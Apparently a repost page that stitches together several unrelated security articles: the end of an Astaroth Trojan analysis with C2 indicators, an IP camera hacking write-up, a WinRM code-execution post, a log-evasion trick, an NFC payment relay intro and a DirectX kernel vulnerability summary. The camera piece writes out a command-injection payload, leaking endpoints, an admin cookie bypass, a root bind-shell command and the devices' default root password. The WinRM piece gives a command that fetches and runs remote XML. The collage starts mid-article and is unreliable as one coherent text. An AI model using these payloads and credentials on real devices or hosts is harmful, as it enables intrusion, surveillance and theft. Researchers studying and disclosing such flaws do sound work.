Once the XSL script has identified that Avast is installed on the machine, it loads a malicious module Irdsnhrxxxfery64 from its location on disk. In order to load this module, it uses an ActiveX Object ShAcreated with Shell.Application capabilities. The object uses ShellExecute() to create an aswrundll.exeprocess instance and loads Irdsnhrxxxfery64. It loads the module with parameter vShow set to zero, which opens the application with a hidden window. 

Alternatively, if Avast is not installed on the machine, the malicious module loads using regsvr32.exeregsvr32.exe is a native Windows utility for registering and unregistering DLLs and ActiveX controls in the Windows registry. 

 The script attempts to load the malicious module using regsvr with the run function. 

Procmon shows the malicious module loaded to the Avast process.

Procmon shows the malicious module loaded using the regsvr32.exe process.  

PHASE TWO: PAYLOAD ANALYSIS 

The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer.

 Information pertaining to lrdsnhxxfery64.~.

After unpacking the module, it is packed with an additional inner packer Pe123\RPolyCryptor. This module has to be investigated in a dynamic way to fully understand the malware and the role the module played during execution.

Information pertaining to lrdsnhrxxfery64_Unpacked.dll.

 Throughout the malware execution, Irdsnhrxxxfery64.~ acts as the main malware controller. The module initiates the malicious activity once the payload download is complete. It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language. 

 The main module collecting information about the machine.

CONTINUING MALICIOUS ACTIVITY AND MANIPULATING ADDITIONAL SECURITY PRODUCTS

After the module loads with regsvr32.exe, the Irdsnhrxxxfery64 module injects another module Irdsnhrxxxfery98, which was downloaded by the script into regsvr32.exe using the LoadLibraryExW()function.

Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe

Irdsnhrxxxfery64 injecting lrdsnhrxxfery98.

The malicious modules in regsvr32.exe memory

After the Irdsnhrxxxfery98 module is loaded, the malware searches different processes to continue its malicious activity depending on the way Irdsnhrxxxfery64 was loaded.

  1. If Irdsnhrxxxfery64 is loaded using aswrundll.exe, the module will continue to target aswrundll.exe.It will create new instances and continue to inject malicious content to it.
  2. If Irdsnhrxxxfery64 is loaded using regsvr32.exe, it will target three processes:
  • It will target unins000.exe if it is available. unins000.exe is a process developed by GAS Tecnologia that is common on Brazilian machines.
  • If unins000.exe does not exist, it will target Syswow64\userinit.exeuserinit.exe is a native Windows process that specifies the program that Winlogon runs when a user logs on to their computer.
  • Similarly, if unins000.exe and Syswow64\userinit.exe do not exist, it will target System32\userinit.exe.

The malware searches for targeted processes.

Irdsnhrxxxfery64 manipulation on userinit.exe & unins000.exe

INJECTION TECHNIQUE TO INCREASE STEALTHINESS

After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source. This new process is in a suspended state so the malware can unmap its memory and write its contents to the new, allocated space. Once this is complete, it will resume the suspended process. By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process.

Astaroth module creates a process in a suspended state (dwCreationFlags set to 4).

Unmapping process memory.

Writing content and resuming the process.

The Cybereason platform was able to detect the malicious injection, identifying Irdsnhrxxxfery64.~Irdsnhrxxxfery98.~, and module arqueiro

The downloaded modules found in regsvr32.exe as detected by the Cybereason platform.

DATA EXFILTRATION

The second module Irdsnhrxxxfery98.~ is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate.

monitor98

Irdsnhrxxxfery98 information collecting capabilities.

In addition to its own information stealing capabilities, the Astaroth Trojan campaign also uses an external feature NetPass. NetPass is one of the downloaded payload files renamed to lrdsnhrxxferyb.jpg.

NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including:

  • Login passwords of remote computers on LAN.
  • Passwords of mail accounts on an exchange server stored by Microsoft Outlook.
  • Passwords of MSN Messenger and Windows Messenger accounts.
  • Internet Explorer 7.x and 8.x passwords from password-protected web sites that include Basic Authentication or Digest Access Authentication.
  • The item name of Internet Explorer 7 passwords that always begin with Microsoft_WinInet prefix.
  • The passwords stored by Remote Desktop 6. 

NetPass usage.

ATTACK FLOW AND EXFILTRATION

After injecting into the targeted processes, the modules continue their malicious activity through those processes. The malware executes malicious activity in a small period of time through the target process, deletes itself, and then repeats. This occurs periodically and is persistent.

3 ways

The malware’s different functionality.

Once the targeted processes are infected by the malicious modules, they begin communicating with the payload C2 server and exfiltrating information saved to the r1.log file. The communication and exfiltration of data was detected in a real-world scenario using the Cybereason platform.

The malicious use of GAS Tecnologia security process unins000.exe. 

Data exfiltration from unins000.exe to a malicious IP. 

CONCLUSION

Our Active Hunting Service was able to detect both the malicious use of the BITSAdmin utility and the WMIC utility. Our customer immediately stopped the attack using the remediation section of our platform and prevented any exfiltration of data. From there, our hunting team identified the rest of the attack and completed a thorough analysis.

We were able to detect and evaluate an evasive infection technique used to spread a variant of the Astaroth Trojan as part of a large, Brazilian-based spam campaign. In our discovery, we highlighted the use of legitimate, built-in Windows OS processes used to perform malicious activities to deliver a payload without being detected, as well as how the Astaroth Trojan operates and installs multiple modules covertly. We also showed its use of well-known tools and antivirus products to expand its capabilities. The analysis of the tools and techniques used in the Astaroth campaign show how truly effective LOLbins are at evading antivirus products. As we enter 2019, we anticipate that the use of LOLbins will likely increase. Because of the great potential for malicious exploitation inherent in the use of native processes, it is very likely that many other information stealers will adopt this method to deliver their payload into targeted machines.

As a result of this detection, the customer was able to contain an advanced attack before any damage was done. The Astaroth Trojan was controlled, WMIC was disabled, and the attack was halted in its tracks.

Part of the difficulty identifying this attack is in how it evades detection. It is difficult to catch, even for security teams aware of the complications ensuring a secure system, as with our customer above. LOLbins are deceptive because their execution seems benign at first, or even sometimes safe, as with the malicious use of antivirus software. As the use of LOLbins becomes more commonplace, we suspect this complex method of attack will become more common as well. The potential for damage will grow as attackers will look to other more destructive payloads.

For more information on LOLbins in the wild, read our research into a different Trojan. 

LOLbins and Trojans: How the Ramnit Trojan Spreads via sLoad in a Cyberattack

INDICATORS OF COMPROMISE

SHA101782747C12Bf06A52704A144DB59FEC41B3CB36HashNF-e513468.zip

SHA11F83403398964D4E8B6C70B171C51CD278909172HashScript.js
SHA1CE8BDB56CCAC55C6881701EBD39DA316EE7ED18DHashlrdsnhrxxfery64.~
SHA1926137A50f473BBD257CD19E207C1C9114F6B215Hashlrdsnhrxxfery98.~
SHA15579E03EB1DA076EF939196CB14F8B769F30A302Hashlrdsnhrxxferyb.jpg
SHA1B2734835888756929EE3FF4DCDE85080CB299D2AHashlrdsnhrxxferyc.jpg
SHA1206352E13D601239E2D043D971EA6657C091071AHashlrdsnhrxxferydwwn.gif
SHA1EAE82A63A980998F8D388BCCE7D967F28309F593Hashlrdsnhrxxferydwwn.gif
SHA19CD5A399C9320CBFB87C9D1CAD3BC366FB12E54FHashlrdsnhrxxferydx.gif
SHA1206352E13D601239E2D043D971EA6657C091071AHashlrdsnhrxxferye.jpg
SHA14CDE9A53A9A49D606BC89E74D47398A69E767056Hashlrdsnhrxxferyg.gif
SHA1F99319B1B321AE9F2D1F0361BC756A43D25444CEHashlrdsnhrxxferygx.gif
SHA1B85C106B68ED410107f97A2CC38b7EC05353F1FAHashlrdsnhrxxferyxa.~
SHA177809236FDF621ABE37B32BF073B0B893E9CE67AHashlrdsnhrxxferyxb.~
SHA1B85C106B68ED410107f97A2CC38b7EC05353F1fAHashlrdsnhrxxferyxa.~
SHA1C2F3350AC58DE900768032554C009C4A78C47CCCHashr1.log

104.129.204[.]41
IPC2

63.251.126[.]7
IPC2

195.157.15[.]100
IPC2

173.231.184[.]59
IPC2

64.95.103[.]181
IPC2

19analiticsx00220a[.]com
DomainC2

qnccmvbrh.wilstonbrwsaq[.]pw
DomainC2

Achieving remote code execution on a Chinese IP camera

Original text by Maurits van Altvorst

Background

Cheap Chinese Internet of Things devices are on the rise. Unfortunately, security on these devices is often an afterthought. I recently got my hands on an “Alecto DVC-155IP” IP camera. It has Wi-Fi, night vision, two-axis tilt and yaw control, motion sensing and more. My expectations regarding security were low, but this camera was still able to surprise me.

The Alecto DVC-155IP

Setting up the camera

Setting up the camera using the app was a breeze. I had to enter my Wi-Fi details, a name for the camera and a password. Nothing too interesting so far.

Using Nmap on the camera gave me the following results:

➜  ~ nmap -A 192.168.178.59
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 12:59 CET
Nmap scan report for 192.168.178.59
Host is up (0.010s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
23/tcp  open  telnet  BusyBox telnetd
80/tcp  open  http    thttpd 2.25b 29dec2003
|_http-server-header: thttpd/2.25b 29dec2003
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
554/tcp open  rtsp    HiLinux IP camera rtspd V100R003 (VodServer 1.0.0)
|_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY
Service Info: Host: RT-IPC; Device: webcam

Three open ports: 23, 80 and 554. Surprisingly, port 23 doesn’t get mentioned anywhere in the manual. Is this some debug port from the manufacturer, or a backdoor from the Chinese government? After manually testing a few passwords via telnet I moved on.

When I connected to the admin panel — accessible on port 80 — I was greeted with a standard login screen that prompts the user for a username and password.

The first step I took was opening the Chrome developer tab. This allows you to inspect the network requests that Chrome made while visiting a website. I saw that there were a lot of requests being made for a simple login page.

The Chrome developer tab

My eye quickly fell on a specific request: /cgi-bin/hi3510/snap.cgi?&-getstream&-chn=2Hmm, “getstream”, I wonder what happens if I open this in another tab…

An unauthenticated live view of the camera

Within 2 minutes I’ve gained unauthenticated access to the live view of the camera. I knew that cheap Chinese cameras weren’t secure, but I didn’t expect it was this bad.

Other observations

While looking through the network requests, I noticed some more notable endpoints:

  • You are able to get the Wi-Fi SSID, BSSID, and password from the network the camera is connected to by visiting /cgi-bin/getwifiattr.cgi. This allows you to retrieve the location of the camera via a service such as wigle.net.
  • You are able to set the camera’s internal time via/cgi-bin/hi3510/setservertime.cgi?-time=YYYY.MM.DD.HH.MM.SS&-utc. I’m not sure if this opens up any attack vectors, but it’s interesting nonetheless. It might be possible to do some interesting things by sending invalid times or big strings, but I don’t want to risk bricking my camera testing this.
  • You are able to get the camera’s password via /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=get. Of course, you don’t even need the password to log in. Just set the “AuthLevel” cookie to 255 and you instantly get admin access.
  • You are able to get the serial number, hardware revision, uptime, and storage info via /web/cgi-bin/hi3510/param.cgi?cmd=getserverinfo

All of these requests are unauthenticated.

Remote code execution

Let’s take another look at the requests made on the login page. You can see a lot of “.cgi” requests. CGI-files are “Common Gateway Interface” files. They are executable scripts used in web servers to dynamically create web pages. Because they’re often based on bash scripts, I started focusing on these requests first because I thought I might find an endpoint susceptible to bash code injection.

To find out if a .cgi endpoint was vulnerable, I tried substituting some request parameters with $(sleep 3). When I tried /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=$(sleep 3), it took a suspiciously long time before I got back my response. To confirm that I can execute bash code, I opened Wireshark on my laptop and sent the following payload to the camera:

$(ping -c2 192.168.178.243)

And sure enough, I saw two ICMP requests appear on my laptop.

Two ping requests in Wireshark

But surely, nobody in their right mind would connect such a cheap, insecure IP camera directly to the internet, right?

Vulnerable IP cameras via shodan.io

That’s 710 Alecto DVC-155IP cameras connected to the internet that disclose their Wi-Fi details (which means that I can figure out its location by using a service such aswigle.net), allow anyone to view their live stream and are vulnerable to RCE. And this is just their DVC-155IP model, Alecto manufactures many different IP cameras each running the same software.

Returning to port 23

Now that I’m able to run commands, it’s time to return to the mysterious port 23. Unfortunately, I’m not able to get any output from the commands I execute. Using netcat to send the output of the commands I executed also didn’t work for some reason.

After spending way too much time without progress, this was the command that did the trick:

telnetd -l/bin/sh -p9999

This starts a telnet server on port 9999. And sure enough, after connecting to it I was greeted with an unauthenticated root shell.

Reading /etc/passwd gave me the following output:

root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh

I didn’t even have to start Hashcat for this one: a quick Google search of the hash was all I needed to find that the password of the mysterious backdoor port was cat1029.

Yes, the password to probably thousands of IP cameras on the internet is cat1029. And the worst part is that there’s no possible way to change this password anywhere in the typical user interface.

Contacting the manufacturer

When I contacted Alecto with my findings, they told me they weren’t able to solve these problems because they didn’t create the software for their devices. After a quick Shodan search I found that there were also internet connected cameras from other brands, such as Foscam and DIGITUS, that had these vulnerabilities. Their user interfaces look different, but they were susceptible to the same exact vulnerabilities via the same exact endpoints.

It seems that these IP cameras are manufactured by a Chinese company in bulk (OEM). Other companies like Alecto, Foscam, and DIGITUS, resell them with slightly modified firmware and custom branding. A vulnerability in the Chinese manufacturer’s software means that all of its children companies are vulnerable too. Unfortunately, I don’t think that the Chinese OEM manufacturer will do much about these vulnerabilities. I guess that the phrase “The S in IoT stands for security” is true after all.

Round of use Winrm code execution XML

Original text by Matt harr0ey

Introduction 
This beginning alludes to give point simple concept related to using Winrm.vbs to do code executed by XML file so I could collect a few ideas we totally can use to do a simple method is being offered by the red team like Winrm.vbs is getting more popular so I found some things can’t waste any more time to release them,

Winrm.vbs ==> Windows Remote Management

Synopsis 
Winrm is simple service to manage your code execute or instruction on any systems via your computer using WS-Management protocol but this service isn’t being offered here in this a blog post I just give local execute but this may happen remotely if you connect with any servers or computers 
further information,
https://docs.microsoft.com/en-us/windows/desktop/winrm/about-windows-remote-management

Usage XML/Winrm.vbs 
First of all if you just heard about XML/Winrm.vbs here at this time when you saw this a blog post I would say, Yes this research winrm.vbs is totally different from any XML codes else so you can go to have a look at this Microsoft’s concept It gives good description to understand Winrm’s instruction to use

So what’s the relationship between normal XML and Winrm XML 
I think the different from normal XML code and Winrm.vbs code is simple different between them there is something called normal XML is easy to understand but it doesn’t Winrm’s XML isn’t, but Winrm.vbs XML has different codes and different uses from normal XML so let’s go to have a look at picture contains a bit instruction related to WInrm’s XML code
MS-Windows Remote management

Small notes guys
It’s better for you to take full privileges Open as administrator or if you use any platforms Empire Powershell or MSF you can go to get more high level than normal session but don’t forget to use Get-TokenPrvivs
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-TokenPrivs.ps1

Currently we have graphic inside a picture shows some information is beneficial for you how XML’s code is being implemented via XML instructions, but be careful because normal language XML cannot be used by Winrm.vbs I think we must use only Winrm’s XML language and Its version,

These some instructions take you to how you can execute XML/Winrm.vbs via Cscript.exe although I found something else related to the same execute Winrm.vbs but It doesn’t work on my version windows but may works on Windows server2008 or others versions as well, if you have VM and Windows server2008 you can use this research remotely

This text shows remote execute and next picture shows local execute

cscript.exe winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -remote:https://gist.githubuserconten
t.com/homjxi0e/da3a5f4b5f48d60b156960bf27a4d164/raw/b615f853cf962566a516a320e9324fbfdcb124fc/PoCWinrm.xml

Here you can look forward to seeing another new Winrm a blog post detected ( RedCanary ) 
Reference,
Lateral Movement Using WinRM and WMI
https://www.redcanary.com/blog/lateral-movement-winrm-wmi/

Trivial Anti-BlueTeam trick for 32-bit systems

( Original text by hexacorn )

I love evasion tricks of any sort. Sometimes they can be very elaborate, and sometimes… incredibly trivial, almost stupid really. Such is the trick I am describing below. It works on 32-bit Windows only, and that’s because it relies on a folder structure that is (exclusively) present on 64-bit systems.

If we look at logs from various process monitoring tools we can notice that they omit a very important info. They don’t tell us what is the architecture of the logging system. Unless it is somehow self-evident (e.g. ‘bitness’ is a part of a host naming convention) there is no way to tell whether the process is executed on a 32- or 64- box.

These 3 folders are present on 64-bit systems only:

  • c:\windows\syswow64\
  • c:\windows\sysnative\
  • c:\Program Files (x86)\

Nothing (apart from access rights) stops us from re-creating them on a 32-bit system.

Imagine seeing the following logs indicating that calc.exe or iexplore.exe was launched on a system:

  • c:\windows\syswow64\calc.exe – from a 64-bit system
  • c:\windows\syswow64\calc.exe – from a 32-bit system
  • c:\windows\sysnative\calc.exe – from a 64-bit system
  • c:\windows\sysnative\calc.exe – from a 32-bit system
  • c:\Program Files (x86)\Internet Explorer\iexplore.exe – from a 64-bit system
  • c:\Program Files (x86)\Internet Explorer\iexplore.exe – from a 32-bit system

For all logs from 32-bit systems it’s obvious that they are fake.
How can you tell the difference though if your logs don’t tell you the architecture of the system where they come from?

This opens up a lot of opportunities for an impersonation.

Threat hunting efforts that rely on full paths for analysis purposes (whitelisting, LFO, etc.) could be easily fooled to accidentally exclude, or include bad processes that are executed from locations that pretend to be ’64-bit legitimate’.
And since most of the orgs are mixed 32/64 environments, the logs from all systems will be inevitably clustered together, and detection rules will be applied to them as a whole.

Admittedly, a malicious svchost.exe executed from c:\windows\syswow64\svchost.exe is definitely less suspicious than one starting from %APPDATA%:

 

Now, could this be a bad process?

  • c:\Program Files (x86)\Windows Defender\MpCmdRun.exe

Intro to NFC Payment Relay Attacks

( original text by netxing )

isclaimer

This is a simple intro to relay attacks using NFC payment data. I will add different types of relays during next year.

Intro

A NFC payment relay is an attack that could be described as extraction of data, using a bridge between a NFC smart card or mobile payment system and the Point of Sale System(PoS) or terminal in real time. Extracting the information and making a bridge while avoiding the latency are the most important and challenging parts.

I already post different introductory content about NFC technology:

  1. Intro to Analyze NFC Payment Methods & Contactless Cards
  2. NFC – Contactless Cards: Brute Forcing Processing Options

Eddie Lee presented in DEF CON 20 about how to design a NFC relay using two Android cellphones. The idea is to generate a bridge using 2 Android phones as you can see in the above image.

The phone 1 is close to the NFC card and the phone 2 is close to the terminal. When the phone 2 approaches the terminal, it mimics a NFC card and the terminal initializes the communication process. Any time when the terminal sends a command to the phone 2 asking about what type of card it is, the phone 2 sends that data over WiFi to the phone 1 and this phone “asks” the smart card the same question. The card answers and phone 1 takes that information and sends it back to phone 2 which responds to the terminal. Using this behavior throughout the communication process. Basically, phone 1 acts as reader and phone 2 as smart card. Simple right?

In DEF CON 25, Haoqi Shan and Jian Yuan presented Man in the NFCimplementing two special boards with SDR(Software Defined-Radio) technology to established a dedicated connection to communicate the NFC information faster and with a better control than using cellphones in the same WiFi network.


Relay

The main difference between a relay attack and replay attack is that the relay attack has to be done at the moment when the attacker is extracting the data; in the other hand, the replay attack occurs when an attacker extract the information from a transaction and save it to replay it later using a third-party device.

With this in mind, we know that we need at least two devices to approach this project, and they could be from different technologies that support NFC:

  • Arduinos
  • Raspberry Pis
  • Laptops
  • PCs
  • etc…

Even we can combine them to make a relay. For the communication part, we have different options:

  • SDR
  • USB
  • WiFi
  • Bluetooth
  • etc..

To understand the concept, I will start with a “local” relay using two Acr122u USB devices connected in the same computer by USB. One of them will act as PoS, and the second will mimic a smart card. All the connections will be handle by a Python script, and my laptop will be the bridge between them:

PoC

The idea of this concept is to understand how to design a simple NFC sniffer. To read, see and study the NFC tags. With this design, I can track the communication process without making a real transaction. However, be aware that the ATC(Application Transaction Counter) will increase during this process.

To accomplish this task, the easier and simpler software to use is the library of RFIDIot. Specifically, I will use the pn532mitm.py script. In its help section, we can find different examples to run the code when we have two or more Acr122 connected to our computer or even to run it remotely:

Use device no. 2 as the READER and device no. 3 as the EMULATOR:

python pn532mitm.py -r 2 3

Use device no. 2 as the EMULATOR and remote system on 192.168.1.3 port 5000 as the READER:

python pn532mitm.py -r 2 reader:192.168.1.3:5000

In this video, I run the command:

python pn532mitm.py -r 0 1

Being 0 the first reader and 1 the emulator:

We can play with the code to alter the data in real time which is one of the most useful things for relay attacks. Also, we can copy the APDU commands in a decoder to know the meaning of the tags using https://www.emvlab.org/tlvutils/

DIRECTX TO THE KERNEL

( original text by Fritz Sands )

The operating system kernel is the final goal for every great exploit chain. You can look at the entries in the Zero Day Initiative (ZDI) Pwn2Own contests over the years to see that process at work. The Windows kernel has been subject to many points of attack. One of my favorites is abuse of DeviceIoControl calls to various drivers since this allows access to so many drivers written by so many vendors, many of which are not all that well written or tested.

Over the years, most of the attacks to penetrate into the Windows kernel have gone through win32k.sys — a kernel-mode device driver that controls the Windows graphic and window management system. When Microsoft moved this functionality out of CSRSS and into the kernel twenty years ago, it instantly doubled or tripled the attack surface into the Windows kernel — and that has been a rich mine of vulnerabilities ever since.

Another large attack surface has opened up since WDDM (Windows Display Driver Model) supplanted the earlier XDDM over the last decade. Calls to initiate actions by the display system start by going through win32k.sys, but after that there are direct calls by user processes into dgxkrnl.sys and other drivers through entry points in GDIPlus. This expanded attack surface is an inviting target for researchers.

In the spring on 2018, the ZDI purchased five vulnerabilities from ChenNan and RanchoIce of Tencent ZhanluLab that target the DirectX kernel interfaces. These purchases resulted in four CVE’s from Microsoft. This post covers the vulnerabilities and provides Proof of Concept sources published on our site.

Additionally, one of the attacks (ZDI-18-946/CVE-2018-8405) was featured in a presentation by Rancho and ChenNan at the 44CON conference in September. I highly recommend that researchers review the slide deck from that presentation.

An overview of DirectX

Before diving into the vulnerabilities, let’s take a brief look at the DirectX interface and drivers.

The DirectX graphics kernel subsystem consists of three kernel-mode drivers: dxgkrnl.sys, dxgmms1.sys, and dxgmms2.sys. These drivers communicate to the user through win32k.sys and through their own set of interfaces. They also communicate with BasicRender.sys, BasicDisplay.sys, and the display miniport drivers.

DirectX defines a number of complex kernel objects, most of which have names that begin with DXG. The user interfaces with DirectX through a number of complex API entry points , many of which begin with D3DKMT and others of which begin with DXGK.

Here are a few of the more interesting entry points:

D3DKMTEscape — this entry point takes a completely user-controlled blob of data as an input. This data blob can be huge, and so there is a strong temptation to leave it in user memory instead of capturing it in the kernel during the transition to kernel processing. This pattern makes the invoked kernel routine a ripe candidate for forgetting try blocks and for time of check to time of use (TOC/TOU) vulnerabilities. The data is not in a standardized structure, so every driver has different definitions.

D3DKMTRender — this entry point is the heart of actually rendering graphic data. User-address commands and patch buffers are interpreted by the kernel drivers and are, in fact, passed to the miniport drivers. Again, this is ripe for race conditions. Additionally, rendering can spawn worker threads, which make race condition vulnerabilities more likely.

D3DKMTCreateAllocation — this entry point allocates memory. Issues (see ZDI-18-946 below) can arise because of the complex interplay between different flags and handles passed into the API call.

One excellent overview of WDDM from an attack perspective is a 2014 Black Hat presentation by Ilja van Sprundel of IOActive entitled «Windows Kernel Graphics Driver Attack Surface» [PDF]. I highly recommend reading it. The presentation goes into great detail on the complex attack surface of the kernel side of WDDM.

Walkthrough of the vulnerabilities

The Proof of Concept (PoC) sources are found here. If you are going to reproduce the crashes, you need to go back to a version of Windows before August 2018 (when Microsoft patched out the vulnerabilities). Remember to attach a kernel debugger to the machine under test and set special pool on the drivers under attack. I tested these vulnerability reports on Windows 10 x64.

ZDI-18-946/CVE-2018-8405 — D3DKMTCreateAllocation Type Confusion Vulnerability

The first vulnerability we’ll review is in the DXGDEVICE::CreateAllocation method in dgxkrnl.sys, is exposed through the D3DKMTCreateAllocation method, and could allow a local attacker to escalate privileges to System. Our advisory for this can be found here, and the patch from Microsoft is located here. The bug results from the lack of proper validation of user-supplied data, which can result in a type confusion condition.

To see this in action, enable special pool on dxgkrnl.sys before running the PoC. The type confusion results from inappropriate use of the CrossAdapter flag in an allocation. The PoC code uses a CrossAdapter flag of 0 for an allocation, and then passes the resultant handle into a second allocation in which it sets a CrossAdapter flag of 1.

And here is the blue screen analysis:

The faulting code is in DXGDEVICE::CreateAllocation and is a classic type confusion walk off of the end of an allocation:

ZDI-18-947/CVE-2018-8406 — D3DKMTRender Type Confusion Vulnerability

The next vulnerability exists in the dxgmms2.sys driver, and is exposed through the D3DKMTRender method. This vulnerability also could allow a local attacker to escalate privileges to System. Our advisory for this can be found here, and the patch from Microsoft is located here. Like the first example, this bug results in a type confusion condition. While similar in nature, these bugs have different root causes.

Again, you need to enable special pool on dxgkrnl.sys and dxgmms2.sys to see these bugs, and, of course, attach a kernel debugger to your target machine. This type confusion results from allocation operation that gets confused between two different adapters.

Relevant PoC code:

PoC crash details:

Vulnerable code:

ZDI-18-950/CVE-2018-8400 — D3DKMTRender Untrusted Pointer Dereference Vulnerability

This next vulnerability is also exposed through the D3DKMTRender routine. The vulnerability is in the DGXCONTEXT::ResizeUserModeBuffers method in dxgkrnl.sys. Our advisory for this can be found here, and the patch from Microsoft is located here. In this case, the bug is caused by the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. The resulting pointer dereference is due to the driver trusting a flag set by the user. Here are the relevant PoC details:

Which results in the crash:

Called from:

Vulnerable code:

Obviously, this flag from the user should not lead to an arbitrary dereference in the kernel.

ZDI-18-951/CVE-2018-8401 – BasicRender Race Condition Vulnerability

This final vulnerability is a bit more complex, as the vulnerability resides in the processing of the D3DKMTMarkDeviceAsError API and the D3DKMTSubmitCommand API by the BasicRender driver. Our advisory for this can be found here, and the patch from Microsoft is located here. Shared resources are not properly secured, which can result in a memory corruption condition. An attacker can use this to escalate privileges to SYSTEM. This type of elevation is often used by malware to install itself once a user clicks something they shouldn’t. Note that Microsoft gave one CVE for this bug and for ZDI-18-949, indicating an identical root cause.

The PoC code for the two cases are related but differ.

Key part of first PoC:

Each call to SubmitCommand spawns a thread through VidSchiWorkerThread. The call to MakeDeviceError changes the state of the same objects and a race condition occurs.

Here is the resulting crash:

The race condition is between two modifications of the same location:

For ZDI-18-949, you can see the difference in the PoC code despite the same root cause. Here’s the key part of this PoC:

Executing this PoC causes a crash in the Run method:

Here’s the vulnerable code:

The vulnerable code crashes the second time through Run, but not the first time.

Conclusions

WDDM and the DirectX graphics kernel code allow for a very powerful and flexible graphics system for Windows. They do this through use of a number of very complex objects and by creating a number of new complicated interfaces to user code. The Proofs of Concept given here should give you some idea of the complexity of the objects implemented in DirectX and the scope available for future research in this area. I am quite sure that this pond is not fished out.

Direct static analysis could give you attack information. However, this is certainly a daunting task. Another possibility is to set up a fuzzing framework to set different values into different flags and call DirectX methods in different orders and look for a crash. Of course, you can also add multiple threads changing and freeing data to investigate the possibility of race conditions and TOC/TOU. Remember to set special pool on all of the relevant drivers.

As always, when you find new vulnerabilities, the Zero Day Initiative is interested in talking with you. Until then, you can find me on Twitter at @FritzSands, and follow the team for the latest in exploit techniques and security patches.